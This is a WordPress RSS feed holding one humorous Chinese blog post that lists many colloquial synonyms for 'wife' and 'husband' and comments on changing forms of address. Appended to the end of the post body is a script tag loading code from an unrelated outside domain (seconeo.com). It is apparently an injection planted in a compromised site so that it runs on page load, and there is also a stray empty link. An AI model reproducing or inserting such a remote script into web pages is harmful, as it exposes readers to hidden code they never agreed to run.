<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sputh.net &#187; husband</title>
	<atom:link href="http://sputh.net/archives/tag/husband/feed" rel="self" type="application/rss+xml" />
	<link>http://sputh.net</link>
	<description></description>
	<lastBuildDate>Sat, 29 May 2010 15:15:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>一位学中文的老外吐血而亡</title>
		<link>http://sputh.net/archives/169.mt</link>
		<comments>http://sputh.net/archives/169.mt#comments</comments>
		<pubDate>Fri, 27 Feb 2009 13:59:26 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[世界各地]]></category>
		<category><![CDATA[husband]]></category>
		<category><![CDATA[wife]]></category>

		<guid isPermaLink="false">http://sputh.net/?p=169</guid>
		<description><![CDATA[一位学中文的老外吐血而亡，因为他看到了老刘给他的wife这个单词的同义词表：1,配偶2,妻子3,老婆4,夫人5,太太6，爱人7,内人8,媳妇9,那口子10,拙荆11,贤内助12,老伴13,孩他妈14,孩他娘15,内子16,婆娘17，糟糠18,娃他娘19,崽他娘20,山妻21,贱内22，贱荆23，女人24，马子25,主妇26,女主人27,财政部长28,纪检委29,浑人30,娘子31,屋里的32,另一半33,女当家34,浑家35，发妻36,堂客37,婆姨38,领导39,烧火婆40,伙计41,黄脸婆42对象 那个老外没有看到husband的同意词，否则也难逃吐血的命运，因为husband在女人嘴里的表述更是耐人寻味：1,丈夫2,爱人3,那口子4,当家的5,掌柜的6,不正经的7,泼皮8,不争气的9,没出息的10,该死的11,死鬼12,死人13,傻子14,臭不要脸的15,孩子他爹16,孩子他亲爹17,哎18,老公19,猪20,亲爱的21,先生22,官人23,相公24,大人25,挨千刀的26,老伴27,男客28对象 有人曾经对于中文词语作出过十分精辟的总结，全文如下：字同意不同，意同字不同，同字不同意，同意不同字。 　　国人，尤其是老祖宗他们在称呼自己家里人，也就是自己最亲近的人时，总是喜欢用一些带有贬义的字眼，老婆是“糟糠”、“贱内”，而儿子都是“小犬”、“犬子”之类，这是中国古代的文人的谦虚，让别人觉得你知书达理，以别人为尊贵。 　　现代社会，这些称呼已经产生了极大的反差，妻子从“糟糠”，“贱内”变成了“领导”、“纪检委”、“财政部长”，地位上升到了一个特别受尊重的高度，而丈夫却从“官人”、“大人”、“掌柜的”被降到“死人”，“傻子”，“不争气的”、“没出息的”等等，这种降格，体现了现代社会女人对男人的更多的要求，比如“死人”，“傻子”是说自己的男人不解风情，而“不争气的”、“没出息的”是希望自己的男人能够在事业上飞黄腾达。]]></description>
			<content:encoded><![CDATA[<p>一位学中文的老外吐血而亡，因为他看到了老刘给他的wife这个单词的同义词表：1,配偶2,妻子3,老婆4,夫人5,太太6，爱人7,内人8,媳妇9,那口子10,拙荆11,贤内助12,老伴13,孩他妈14,孩他娘15,内子16,婆娘17，糟糠18,娃他娘19,崽他娘20,山妻21,贱内22，贱荆23，女人24，马子25,主妇26,女主人27,财政部长28,纪检委29,浑人30,娘子31,屋里的32,另一半33,女当家34,浑家35，发妻36,堂客37,婆姨38,领导39,烧火婆40,伙计41,黄脸婆42对象<a target="_blank"></a></p>
<p>那个老外没有看到husband的同意词，否则也难逃吐血的命运，因为husband在女人嘴里的表述更是耐人寻味：1,丈夫2,爱人3,那口子4,当家的5,掌柜的6,不正经的7,泼皮8,不争气的9,没出息的10,该死的11,死鬼12,死人13,傻子14,臭不要脸的15,孩子他爹16,孩子他亲爹17,哎18,老公19,猪20,亲爱的21,先生22,官人23,相公24,大人25,挨千刀的26,老伴27,男客28对象</p>
<p>有人曾经对于中文词语作出过十分精辟的总结，全文如下：字同意不同，意同字不同，同字不同意，同意不同字。</p>
<p>　　国人，尤其是老祖宗他们在称呼自己家里人，也就是自己最亲近的人时，总是喜欢用一些带有贬义的字眼，老婆是“糟糠”、“贱内”，而儿子都是“小犬”、“犬子”之类，这是中国古代的文人的谦虚，让别人觉得你知书达理，以别人为尊贵。</p>
<p>　　现代社会，这些称呼已经产生了极大的反差，妻子从“糟糠”，“贱内”变成了“领导”、“纪检委”、“财政部长”，地位上升到了一个特别受尊重的高度，而丈夫却从“官人”、“大人”、“掌柜的”被降到“死人”，“傻子”，“不争气的”、“没出息的”等等，这种降格，体现了现代社会女人对男人的更多的要求，比如“死人”，“傻子”是说自己的男人不解风情，而“不争气的”、“没出息的”是希望自己的男人能够在事业上飞黄腾达。<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sputh.net/archives/169.mt/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
